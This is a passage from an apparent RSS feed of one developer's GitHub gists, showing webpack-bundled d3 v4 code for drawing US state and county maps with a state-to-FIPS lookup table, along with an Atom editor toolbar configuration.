	            if (min &gt; value) min = value;
	            if (max &lt; value) max = value;
	          }
	        }
	      }
	    }
	  }

	  else {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = valueof(values[i], i, values)) != null &amp;&amp; value &gt;= value) {
	        min = max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = valueof(values[i], i, values)) != null) {
	            if (min &gt; value) min = value;
	            if (max &lt; value) max = value;
	          }
	        }
	      }
	    }
	  }

	  return [min, max];
	};

	var array = Array.prototype;

	var slice = array.slice;
	var map = array.map;

	var constant = function(x) {
	  return function() {
	    return x;
	  };
	};

	var identity = function(x) {
	  return x;
	};

	var sequence = function(start, stop, step) {
	  start = +start, stop = +stop, step = (n = arguments.length) &lt; 2 ? (stop = start, start = 0, 1) : n &lt; 3 ? 1 : +step;

	  var i = -1,
	      n = Math.max(0, Math.ceil((stop - start) / step)) | 0,
	      range = new Array(n);

	  while (++i &lt; n) {
	    range[i] = start + i * step;
	  }

	  return range;
	};

	var e10 = Math.sqrt(50);
	var e5 = Math.sqrt(10);
	var e2 = Math.sqrt(2);

	var ticks = function(start, stop, count) {
	  var reverse = stop &lt; start,
	      i = -1,
	      n,
	      ticks,
	      step;

	  if (reverse) n = start, start = stop, stop = n;

	  if ((step = tickIncrement(start, stop, count)) === 0 || !isFinite(step)) return [];

	  if (step &gt; 0) {
	    start = Math.ceil(start / step);
	    stop = Math.floor(stop / step);
	    ticks = new Array(n = Math.ceil(stop - start + 1));
	    while (++i &lt; n) ticks[i] = (start + i) * step;
	  } else {
	    start = Math.floor(start * step);
	    stop = Math.ceil(stop * step);
	    ticks = new Array(n = Math.ceil(start - stop + 1));
	    while (++i &lt; n) ticks[i] = (start - i) / step;
	  }

	  if (reverse) ticks.reverse();

	  return ticks;
	};

	function tickIncrement(start, stop, count) {
	  var step = (stop - start) / Math.max(0, count),
	      power = Math.floor(Math.log(step) / Math.LN10),
	      error = step / Math.pow(10, power);
	  return power &gt;= 0
	      ? (error &gt;= e10 ? 10 : error &gt;= e5 ? 5 : error &gt;= e2 ? 2 : 1) * Math.pow(10, power)
	      : -Math.pow(10, -power) / (error &gt;= e10 ? 10 : error &gt;= e5 ? 5 : error &gt;= e2 ? 2 : 1);
	}

	function tickStep(start, stop, count) {
	  var step0 = Math.abs(stop - start) / Math.max(0, count),
	      step1 = Math.pow(10, Math.floor(Math.log(step0) / Math.LN10)),
	      error = step0 / step1;
	  if (error &gt;= e10) step1 *= 10;
	  else if (error &gt;= e5) step1 *= 5;
	  else if (error &gt;= e2) step1 *= 2;
	  return stop &lt; start ? -step1 : step1;
	}

	var sturges = function(values) {
	  return Math.ceil(Math.log(values.length) / Math.LN2) + 1;
	};

	var histogram = function() {
	  var value = identity,
	      domain = extent,
	      threshold = sturges;

	  function histogram(data) {
	    var i,
	        n = data.length,
	        x,
	        values = new Array(n);

	    for (i = 0; i &lt; n; ++i) {
	      values[i] = value(data[i], i, data);
	    }

	    var xz = domain(values),
	        x0 = xz[0],
	        x1 = xz[1],
	        tz = threshold(values, x0, x1);

	    // Convert number of thresholds into uniform thresholds.
	    if (!Array.isArray(tz)) {
	      tz = tickStep(x0, x1, tz);
	      tz = sequence(Math.ceil(x0 / tz) * tz, Math.floor(x1 / tz) * tz, tz); // exclusive
	    }

	    // Remove any thresholds outside the domain.
	    var m = tz.length;
	    while (tz[0] &lt;= x0) tz.shift(), --m;
	    while (tz[m - 1] &gt; x1) tz.pop(), --m;

	    var bins = new Array(m + 1),
	        bin;

	    // Initialize bins.
	    for (i = 0; i &lt;= m; ++i) {
	      bin = bins[i] = [];
	      bin.x0 = i &gt; 0 ? tz[i - 1] : x0;
	      bin.x1 = i &lt; m ? tz[i] : x1;
	    }

	    // Assign data to bins by value, ignoring any outside the domain.
	    for (i = 0; i &lt; n; ++i) {
	      x = values[i];
	      if (x0 &lt;= x &amp;&amp; x &lt;= x1) {
	        bins[bisectRight(tz, x, 0, m)].push(data[i]);
	      }
	    }

	    return bins;
	  }

	  histogram.value = function(_) {
	    return arguments.length ? (value = typeof _ === &quot;function&quot; ? _ : constant(_), histogram) : value;
	  };

	  histogram.domain = function(_) {
	    return arguments.length ? (domain = typeof _ === &quot;function&quot; ? _ : constant([_[0], _[1]]), histogram) : domain;
	  };

	  histogram.thresholds = function(_) {
	    return arguments.length ? (threshold = typeof _ === &quot;function&quot; ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), histogram) : threshold;
	  };

	  return histogram;
	};

	var threshold = function(values, p, valueof) {
	  if (valueof == null) valueof = number;
	  if (!(n = values.length)) return;
	  if ((p = +p) &lt;= 0 || n &lt; 2) return +valueof(values[0], 0, values);
	  if (p &gt;= 1) return +valueof(values[n - 1], n - 1, values);
	  var n,
	      i = (n - 1) * p,
	      i0 = Math.floor(i),
	      value0 = +valueof(values[i0], i0, values),
	      value1 = +valueof(values[i0 + 1], i0 + 1, values);
	  return value0 + (value1 - value0) * (i - i0);
	};

	var freedmanDiaconis = function(values, min, max) {
	  values = map.call(values, number).sort(ascending);
	  return Math.ceil((max - min) / (2 * (threshold(values, 0.75) - threshold(values, 0.25)) * Math.pow(values.length, -1 / 3)));
	};

	var scott = function(values, min, max) {
	  return Math.ceil((max - min) / (3.5 * deviation(values) * Math.pow(values.length, -1 / 3)));
	};

	var max = function(values, valueof) {
	  var n = values.length,
	      i = -1,
	      value,
	      max;

	  if (valueof == null) {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = values[i]) != null &amp;&amp; value &gt;= value) {
	        max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = values[i]) != null &amp;&amp; value &gt; max) {
	            max = value;
	          }
	        }
	      }
	    }
	  }

	  else {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = valueof(values[i], i, values)) != null &amp;&amp; value &gt;= value) {
	        max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = valueof(values[i], i, values)) != null &amp;&amp; value &gt; max) {
	            max = value;
	          }
	        }
	      }
	    }
	  }

	  return max;
	};

	var mean = function(values, valueof) {
	  var n = values.length,
	      m = n,
	      i = -1,
	      value,
	      sum = 0;

	  if (valueof == null) {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(values[i]))) sum += value;
	      else --m;
	    }
	  }

	  else {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(valueof(values[i], i, values)))) sum += value;
	      else --m;
	    }
	  }

	  if (m) return sum / m;
	};

	var median = function(values, valueof) {
	  var n = values.length,
	      i = -1,
	    </code></pre><p><em>Truncated — <a href="https://gist.github.com/185f2bdf7d16a0a83e83857cb612fbf5">view the full gist</a>.</em></p>
<h3>app.js</h3>
<h3>county-topojson.json</h3>
<h3>index.html</h3>
<h3>style.css</h3>
<h3>us-states.json</h3>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[app.bundle.js]]></title>
      <link>https://gist.github.com/2c3d4e4eba32019cf6bd5ea4538183e2</link>
      <guid isPermaLink="true">https://gist.github.com/2c3d4e4eba32019cf6bd5ea4538183e2</guid>
      <pubDate>Fri, 04 Aug 2017 15:28:02 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2017-08-04T15:31:42.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>app.bundle.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1041611</code:size>
      </code:file>
      <code:file>
        <code:filename>app.js</code:filename>
        <code:language>Unknown</code:language>
        <code:size>4165</code:size>
      </code:file>
      <code:file>
        <code:filename>county-topojson.json</code:filename>
        <code:language>Unknown</code:language>
        <code:size>139227</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>Unknown</code:language>
        <code:size>1607</code:size>
      </code:file>
      <code:file>
        <code:filename>style.css</code:filename>
        <code:language>Unknown</code:language>
        <code:size>3545</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>Unknown</code:language>
        <code:size>186749</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>app.bundle.js</h3><pre><code class="language-javascript">/******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};

/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {

/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId])
/******/ 			return installedModules[moduleId].exports;

/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			exports: {},
/******/ 			id: moduleId,
/******/ 			loaded: false
/******/ 		};

/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);

/******/ 		// Flag the module as loaded
/******/ 		module.loaded = true;

/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}


/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;

/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;

/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = &quot;&quot;;

/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports, __webpack_require__) {

	&apos;use strict&apos;;

	var _, colorCatScale, d3, height, processData, q, stateCodeToFips, width;

	d3 = __webpack_require__(1);

	_ = __webpack_require__(2);

	colorCatScale = d3.scaleOrdinal().range([&apos;#FB514E&apos;, &apos;#2d82ca&apos;, &apos;#49af37&apos;, &apos;#9065c8&apos;]);

	width = 240;

	height = 150;

	q = d3.queue().defer(d3.json, &apos;us-states.json&apos;).defer(d3.json, &apos;county-topojson.json&apos;).awaitAll(function (err, result) {
	  if (err) {
	    throw err;
	  }
	  return _.each(stateCodeToFips, function (d, i) {
	    return processData(result, i);
	  });
	});

	processData = function processData(result, thisState) {
	  var counties, countyG, dx, dy, ourState, path, projection, scale, stateBounds, stateG, states, svg, thisStateFips, translate, x, y;
	  if (thisState == null) {
	    thisState = &apos;Arizona&apos;;
	  }
	  console.log(&apos;result&apos;, result);
	  svg = d3.select(&apos;#container&apos;).append(&apos;svg&apos;).attr(&apos;id&apos;, &apos;viz-svg-&apos; + thisState).attr(&apos;width&apos;, width).attr(&apos;height&apos;, height).style(&apos;margin&apos;, &apos;1em&apos;);
	  thisStateFips = stateCodeToFips[thisState];
	  states = topojson.feature(result[0], result[0].objects.states);
	  counties = topojson.feature(result[1], result[1].objects.counties);
	  console.log(&apos;states --&gt;&apos;, states);
	  projection = d3.geoAlbers().fitSize([width, height], states);
	  path = d3.geoPath().projection(projection);
	  ourState = _.find(states.features, function (d, i) {
	    if (d.properties.STATE === thisState) {
	      return true;
	    }
	  });
	  stateBounds = path.bounds(ourState);
	  dx = stateBounds[1][0] - stateBounds[0][0];
	  dy = stateBounds[1][1] - stateBounds[0][1];
	  x = (stateBounds[0][0] + stateBounds[1][0]) / 2;
	  y = (stateBounds[0][1] + stateBounds[1][1]) / 2;
	  scale = .9 / Math.max(dx / width, dy / height);
	  translate = [width / 2 - scale * x, height / 2 - scale * y];
	  console.log(&apos;ourState&apos;, ourState);
	  stateG = svg.append(&apos;g&apos;).attr(&apos;class&apos;, &apos;states&apos;).attr(&apos;transform&apos;, &apos;translate(&apos; + translate + &apos;)scale(&apos; + scale + &apos;)&apos;).style(&apos;stroke-width&apos;, 1.5 / scale + &apos;px&apos;);
	  countyG = stateG.selectAll(&apos;g.county&apos;).data(counties.features).enter().append(&apos;g&apos;).attr(&apos;class&apos;, &apos;county&apos;);
	  countyG.append(&apos;path&apos;).attr(&apos;d&apos;, path).attr(&apos;stroke&apos;, &apos;white&apos;).attr(&apos;fill&apos;, function (d, i) {
	    console.log(&apos;county d&apos;, d);
	    if (d.properties.STATE_FIPS === thisStateFips) {
	      return &apos;red&apos;;
	    } else {
	      return &apos;none&apos;;
	    }
	  });
	  countyG.append(&apos;text&apos;).text(function (d) {
	    return d.properties.COUNTY;
	  }).style(&apos;font-size&apos;, 12 / scale).attr(&apos;x&apos;, 18 / scale).attr(&apos;y&apos;, 5 / scale).style(&apos;display&apos;, function (d, i) {
	    if (d.properties.STATE_FIPS !== thisStateFips) {
	      return &apos;none&apos;;
	    }
	  }).attr(&apos;transform&apos;, function (d, i) {
	    var centroid, latLon;
	    centroid = d3.geoCentroid(d.geometry);
	    latLon = projection(centroid);
	    x = latLon[0];
	    y = latLon[1];
	    return &apos;translate(&apos; + x + &apos;,&apos; + y + &apos;)&apos;;
	  });
	  return stateG.selectAll(&apos;path.state&apos;).data(states.features).enter().append(&apos;path&apos;).attr(&apos;class&apos;, &apos;state&apos;).attr(&apos;d&apos;, path).attr(&apos;stroke&apos;, function (d, i) {
	    console.log(&apos;state d&apos;, d);
	    if (d.properties.STATE === thisState) {
	      return &apos;black&apos;;
	    } else {
	      return &apos;none&apos;;
	    }
	  }).attr(&apos;fill&apos;, &apos;none&apos;);
	};

	stateCodeToFips = {
	  &quot;Alabama&quot;: &quot;01&quot;,
	  &quot;Alaska&quot;: &quot;02&quot;,
	  &quot;Arizona&quot;: &quot;04&quot;,
	  &quot;Arkansas&quot;: &quot;05&quot;,
	  &quot;California&quot;: &quot;06&quot;,
	  &quot;Colorado&quot;: &quot;08&quot;,
	  &quot;Connecticut&quot;: &quot;09&quot;,
	  &quot;Delaware&quot;: &quot;10&quot;,
	  &quot;District of Columbia&quot;: &quot;11&quot;,
	  &quot;Florida&quot;: &quot;12&quot;,
	  &quot;Geogia&quot;: &quot;13&quot;,
	  &quot;Hawaii&quot;: &quot;15&quot;,
	  &quot;Idaho&quot;: &quot;16&quot;,
	  &quot;Illinois&quot;: &quot;17&quot;,
	  &quot;Indiana&quot;: &quot;18&quot;,
	  &quot;Iowa&quot;: &quot;19&quot;,
	  &quot;Kansas&quot;: &quot;20&quot;,
	  &quot;Kentucky&quot;: &quot;21&quot;,
	  &quot;Louisiana&quot;: &quot;22&quot;,
	  &quot;Maine&quot;: &quot;23&quot;,
	  &quot;Maryland&quot;: &quot;24&quot;,
	  &quot;Massachusetts&quot;: &quot;25&quot;,
	  &quot;Michigan&quot;: &quot;26&quot;,
	  &quot;Minnesota&quot;: &quot;27&quot;,
	  &quot;Mississippi&quot;: &quot;28&quot;,
	  &quot;Missouri&quot;: &quot;29&quot;,
	  &quot;Montana&quot;: &quot;30&quot;,
	  &quot;Nebraska&quot;: &quot;31&quot;,
	  &quot;Nevada&quot;: &quot;32&quot;,
	  &quot;New Hampshire&quot;: &quot;33&quot;,
	  &quot;New Jersey&quot;: &quot;34&quot;,
	  &quot;New Mexico&quot;: &quot;35&quot;,
	  &quot;New York&quot;: &quot;36&quot;,
	  &quot;North Carolina&quot;: &quot;37&quot;,
	  &quot;North Dakota&quot;: &quot;38&quot;,
	  &quot;Ohio&quot;: &quot;39&quot;,
	  &quot;Oklahoma&quot;: &quot;40&quot;,
	  &quot;Oregon&quot;: &quot;41&quot;,
	  &quot;Pennsylvania&quot;: &quot;42&quot;,
	  &quot;Rhode Island&quot;: &quot;44&quot;,
	  &quot;South Carolina&quot;: &quot;45&quot;,
	  &quot;South Dakota&quot;: &quot;46&quot;,
	  &quot;Tennessee&quot;: &quot;47&quot;,
	  &quot;Texas&quot;: &quot;48&quot;,
	  &quot;Utah&quot;: &quot;49&quot;,
	  &quot;Vermont&quot;: &quot;50&quot;,
	  &quot;Virginia&quot;: &quot;51&quot;,
	  &quot;Washington&quot;: &quot;53&quot;,
	  &quot;West Virginia&quot;: &quot;54&quot;,
	  &quot;Wisconsin&quot;: &quot;55&quot;,
	  &quot;Wyoming&quot;: &quot;56&quot;
	};

/***/ }),
/* 1 */
/***/ (function(module, exports, __webpack_require__) {

	// https://d3js.org Version 4.10.0. Copyright 2017 Mike Bostock.
	(function (global, factory) {
		 true ? factory(exports) :
		typeof define === &apos;function&apos; &amp;&amp; define.amd ? define([&apos;exports&apos;], factory) :
		(factory((global.d3 = global.d3 || {})));
	}(this, (function (exports) { &apos;use strict&apos;;

	var version = &quot;4.10.0&quot;;

	var ascending = function(a, b) {
	  return a &lt; b ? -1 : a &gt; b ? 1 : a &gt;= b ? 0 : NaN;
	};

	var bisector = function(compare) {
	  if (compare.length === 1) compare = ascendingComparator(compare);
	  return {
	    left: function(a, x, lo, hi) {
	      if (lo == null) lo = 0;
	      if (hi == null) hi = a.length;
	      while (lo &lt; hi) {
	        var mid = lo + hi &gt;&gt;&gt; 1;
	        if (compare(a[mid], x) &lt; 0) lo = mid + 1;
	        else hi = mid;
	      }
	      return lo;
	    },
	    right: function(a, x, lo, hi) {
	      if (lo == null) lo = 0;
	      if (hi == null) hi = a.length;
	      while (lo &lt; hi) {
	        var mid = lo + hi &gt;&gt;&gt; 1;
	        if (compare(a[mid], x) &gt; 0) hi = mid;
	        else lo = mid + 1;
	      }
	      return lo;
	    }
	  };
	};

	function ascendingComparator(f) {
	  return function(d, x) {
	    return ascending(f(d), x);
	  };
	}

	var ascendingBisect = bisector(ascending);
	var bisectRight = ascendingBisect.right;
	var bisectLeft = ascendingBisect.left;

	var pairs = function(array, f) {
	  if (f == null) f = pair;
	  var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n &lt; 0 ? 0 : n);
	  while (i &lt; n) pairs[i] = f(p, p = array[++i]);
	  return pairs;
	};

	function pair(a, b) {
	  return [a, b];
	}

	var cross = function(values0, values1, reduce) {
	  var n0 = values0.length,
	      n1 = values1.length,
	      values = new Array(n0 * n1),
	      i0,
	      i1,
	      i,
	      value0;

	  if (reduce == null) reduce = pair;

	  for (i0 = i = 0; i0 &lt; n0; ++i0) {
	    for (value0 = values0[i0], i1 = 0; i1 &lt; n1; ++i1, ++i) {
	      values[i] = reduce(value0, values1[i1]);
	    }
	  }

	  return values;
	};

	var descending = function(a, b) {
	  return b &lt; a ? -1 : b &gt; a ? 1 : b &gt;= a ? 0 : NaN;
	};

	var number = function(x) {
	  return x === null ? NaN : +x;
	};

	var variance = function(values, valueof) {
	  var n = values.length,
	      m = 0,
	      i = -1,
	      mean = 0,
	      value,
	      delta,
	      sum = 0;

	  if (valueof == null) {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(values[i]))) {
	        delta = value - mean;
	        mean += delta / ++m;
	        sum += delta * (value - mean);
	      }
	    }
	  }

	  else {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(valueof(values[i], i, values)))) {
	        delta = value - mean;
	        mean += delta / ++m;
	        sum += delta * (value - mean);
	      }
	    }
	  }

	  if (m &gt; 1) return sum / (m - 1);
	};

	var deviation = function(array, f) {
	  var v = variance(array, f);
	  return v ? Math.sqrt(v) : v;
	};

	var extent = function(values, valueof) {
	  var n = values.length,
	      i = -1,
	      value,
	      min,
	      max;

	  if (valueof == null) {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = values[i]) != null &amp;&amp; value &gt;= value) {
	        min = max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = values[i]) != null) {
	            if (min &gt; value) min = value;
	            if (max &lt; value) max = value;
	          }
	        }
	      }
	    }
	  }

	  else {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = valueof(values[i], i, values)) != null &amp;&amp; value &gt;= value) {
	        min = max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = valueof(values[i], i, values)) != null) {
	            if (min &gt; value) min = value;
	            if (max &lt; value) max = value;
	          }
	        }
	      }
	    }
	  }

	  return [min, max];
	};

	var array = Array.prototype;

	var slice = array.slice;
	var map = array.map;

	var constant = function(x) {
	  return function() {
	    return x;
	  };
	};

	var identity = function(x) {
	  return x;
	};

	var sequence = function(start, stop, step) {
	  start = +start, stop = +stop, step = (n = arguments.length) &lt; 2 ? (stop = start, start = 0, 1) : n &lt; 3 ? 1 : +step;

	  var i = -1,
	      n = Math.max(0, Math.ceil((stop - start) / step)) | 0,
	      range = new Array(n);

	  while (++i &lt; n) {
	    range[i] = start + i * step;
	  }

	  return range;
	};

	var e10 = Math.sqrt(50);
	var e5 = Math.sqrt(10);
	var e2 = Math.sqrt(2);

	var ticks = function(start, stop, count) {
	  var reverse = stop &lt; start,
	      i = -1,
	      n,
	      ticks,
	      step;

	  if (reverse) n = start, start = stop, stop = n;

	  if ((step = tickIncrement(start, stop, count)) === 0 || !isFinite(step)) return [];

	  if (step &gt; 0) {
	    start = Math.ceil(start / step);
	    stop = Math.floor(stop / step);
	    ticks = new Array(n = Math.ceil(stop - start + 1));
	    while (++i &lt; n) ticks[i] = (start + i) * step;
	  } else {
	    start = Math.floor(start * step);
	    stop = Math.ceil(stop * step);
	    ticks = new Array(n = Math.ceil(start - stop + 1));
	    while (++i &lt; n) ticks[i] = (start - i) / step;
	  }

	  if (reverse) ticks.reverse();

	  return ticks;
	};

	function tickIncrement(start, stop, count) {
	  var step = (stop - start) / Math.max(0, count),
	      power = Math.floor(Math.log(step) / Math.LN10),
	      error = step / Math.pow(10, power);
	  return power &gt;= 0
	      ? (error &gt;= e10 ? 10 : error &gt;= e5 ? 5 : error &gt;= e2 ? 2 : 1) * Math.pow(10, power)
	      : -Math.pow(10, -power) / (error &gt;= e10 ? 10 : error &gt;= e5 ? 5 : error &gt;= e2 ? 2 : 1);
	}

	function tickStep(start, stop, count) {
	  var step0 = Math.abs(stop - start) / Math.max(0, count),
	      step1 = Math.pow(10, Math.floor(Math.log(step0) / Math.LN10)),
	      error = step0 / step1;
	  if (error &gt;= e10) step1 *= 10;
	  else if (error &gt;= e5) step1 *= 5;
	  else if (error &gt;= e2) step1 *= 2;
	  return stop &lt; start ? -step1 : step1;
	}

	var sturges = function(values) {
	  return Math.ceil(Math.log(values.length) / Math.LN2) + 1;
	};

	var histogram = function() {
	  var value = identity,
	      domain = extent,
	      threshold = sturges;

	  function histogram(data) {
	    var i,
	        n = data.length,
	        x,
	        values = new Array(n);

	    for (i = 0; i &lt; n; ++i) {
	      values[i] = value(data[i], i, data);
	    }

	    var xz = domain(values),
	        x0 = xz[0],
	        x1 = xz[1],
	        tz = threshold(values, x0, x1);

	    // Convert number of thresholds into uniform thresholds.
	    if (!Array.isArray(tz)) {
	      tz = tickStep(x0, x1, tz);
	      tz = sequence(Math.ceil(x0 / tz) * tz, Math.floor(x1 / tz) * tz, tz); // exclusive
	    }

	    // Remove any thresholds outside the domain.
	    var m = tz.length;
	    while (tz[0] &lt;= x0) tz.shift(), --m;
	    while (tz[m - 1] &gt; x1) tz.pop(), --m;

	    var bins = new Array(m + 1),
	        bin;

	    // Initialize bins.
	    for (i = 0; i &lt;= m; ++i) {
	      bin = bins[i] = [];
	      bin.x0 = i &gt; 0 ? tz[i - 1] : x0;
	      bin.x1 = i &lt; m ? tz[i] : x1;
	    }

	    // Assign data to bins by value, ignoring any outside the domain.
	    for (i = 0; i &lt; n; ++i) {
	      x = values[i];
	      if (x0 &lt;= x &amp;&amp; x &lt;= x1) {
	        bins[bisectRight(tz, x, 0, m)].push(data[i]);
	      }
	    }

	    return bins;
	  }

	  histogram.value = function(_) {
	    return arguments.length ? (value = typeof _ === &quot;function&quot; ? _ : constant(_), histogram) : value;
	  };

	  histogram.domain = function(_) {
	    return arguments.length ? (domain = typeof _ === &quot;function&quot; ? _ : constant([_[0], _[1]]), histogram) : domain;
	  };

	  histogram.thresholds = function(_) {
	    return arguments.length ? (threshold = typeof _ === &quot;function&quot; ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), histogram) : threshold;
	  };

	  return histogram;
	};

	var threshold = function(values, p, valueof) {
	  if (valueof == null) valueof = number;
	  if (!(n = values.length)) return;
	  if ((p = +p) &lt;= 0 || n &lt; 2) return +valueof(values[0], 0, values);
	  if (p &gt;= 1) return +valueof(values[n - 1], n - 1, values);
	  var n,
	      i = (n - 1) * p,
	      i0 = Math.floor(i),
	      value0 = +valueof(values[i0], i0, values),
	      value1 = +valueof(values[i0 + 1], i0 + 1, values);
	  return value0 + (value1 - value0) * (i - i0);
	};

	var freedmanDiaconis = function(values, min, max) {
	  values = map.call(values, number).sort(ascending);
	  return Math.ceil((max - min) / (2 * (threshold(values, 0.75) - threshold(values, 0.25)) * Math.pow(values.length, -1 / 3)));
	};

	var scott = function(values, min, max) {
	  return Math.ceil((max - min) / (3.5 * deviation(values) * Math.pow(values.length, -1 / 3)));
	};

	var max = function(values, valueof) {
	  var n = values.length,
	      i = -1,
	      value,
	      max;

	  if (valueof == null) {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = values[i]) != null &amp;&amp; value &gt;= value) {
	        max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = values[i]) != null &amp;&amp; value &gt; max) {
	            max = value;
	          }
	        }
	      }
	    }
	  }

	  else {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = valueof(values[i], i, values)) != null &amp;&amp; value &gt;= value) {
	        max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = valueof(values[i], i, values)) != null &amp;&amp; value &gt; max) {
	            max = value;
	          }
	        }
	      }
	    }
	  }

	  return max;
	};

	var mean = function(values, valueof) {
	  var n = values.length,
	      m = n,
	      i = -1,
	      value,
	      sum = 0;

	  if (valueof == null) {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(values[i]))) sum += value;
	      else --m;
	    }
	  }

	  else {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(valueof(values[i], i, values)))) sum += value;
	      else --m;
	    }
	  }

	  if (m) return sum / m;
	};

	var median = function(values, valueof) {
	  var n = values.length,
	      i = -1,
	    </code></pre><p><em>Truncated — <a href="https://gist.github.com/2c3d4e4eba32019cf6bd5ea4538183e2">view the full gist</a>.</em></p>
<h3>app.js</h3>
<h3>county-topojson.json</h3>
<h3>index.html</h3>
<h3>style.css</h3>
<h3>us-states.json</h3>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[toolbar.cson]]></title>
      <link>https://gist.github.com/7aa607eb0561900b565adbc34f7cf5a7</link>
      <guid isPermaLink="true">https://gist.github.com/7aa607eb0561900b565adbc34f7cf5a7</guid>
      <pubDate>Mon, 24 Jul 2017 19:51:45 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2017-07-24T19:51:45.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>toolbar.cson</code:filename>
        <code:language>CSON</code:language>
        <code:size>1244</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>toolbar.cson</h3><pre><code class="language-cson">
[
  {
    type: &quot;button&quot;
    icon: &quot;github-square&quot;
    iconset: &quot;fa&quot;
    callback: &quot;open-on-github:repository&quot;
    tooltip: &quot;Repo&apos;s Github Page&quot;
  }
  {
    type: &quot;spacer&quot;
  }
  {
    type: &quot;button&quot;
    icon: &quot;document&quot;
    callback: &quot;application:new-file&quot;
    tooltip: &quot;New File&quot;
    iconset: &quot;ion&quot;
    mode: &quot;dev&quot;
  }
  {
    type: &quot;button&quot;
    icon: &quot;angle-right&quot;
    iconset: &quot;fa&quot;
    callback: [&quot;pane:split-right&quot;]
  }
  {
    type: &quot;button&quot;
    icon: &quot;angle-down&quot;
    iconset: &quot;fa&quot;
    callback: [&quot;pane:split-down&quot;]
  }
  {
    type: &quot;spacer&quot;
  }
  {
    type: &quot;button&quot;
    icon: &quot;terminal&quot;
    iconset: &quot;fa&quot;
    callback: [&quot;term3:open-split-down&quot;, &quot;&quot;]
  }
  {
    type: &quot;button&quot;
    icon: &quot;asterisk&quot;
    iconset: &quot;fa&quot;
    callback: [&quot;editor:toggle-line-comments&quot;]
  }
  {
    type: &quot;button&quot;
    icon: &quot;check-circle-o&quot;
    iconset: &quot;fa&quot;
    callback: [&quot;todo-show:find-in-workspace&quot;]
  }
  {
    type: &quot;spacer&quot;
  }
  {
    type: &quot;button&quot;
    icon: &quot;chain-broken&quot;
    iconset: &quot;fa&quot;
    callback: [&quot;atom-eslint-fix:run&quot;]
  }
  {
    type: &quot;button&quot;
    icon: &quot;coffee&quot;
    iconset: &quot;fa&quot;
    callback: [&quot;js2coffee:convert&quot;]
  }
  {
    type: &quot;button&quot;
    icon: &quot;markdown&quot;
    callback: &quot;markdown-preview:toggle&quot;
    disable: &quot;!markdown&quot;
  }
]
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[app.bundle.js]]></title>
      <link>https://gist.github.com/dd49ca9629df9c1db8f6d60ffb965c6d</link>
      <guid isPermaLink="true">https://gist.github.com/dd49ca9629df9c1db8f6d60ffb965c6d</guid>
      <pubDate>Tue, 11 Jul 2017 17:03:30 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2017-07-11T17:03:39.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>app.bundle.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1399797</code:size>
      </code:file>
      <code:file>
        <code:filename>app.js</code:filename>
        <code:language>Unknown</code:language>
        <code:size>7355</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>Unknown</code:language>
        <code:size>1519</code:size>
      </code:file>
      <code:file>
        <code:filename>style.css</code:filename>
        <code:language>Unknown</code:language>
        <code:size>4365</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>app.bundle.js</h3><pre><code class="language-javascript">/******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};

/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {

/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId])
/******/ 			return installedModules[moduleId].exports;

/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			exports: {},
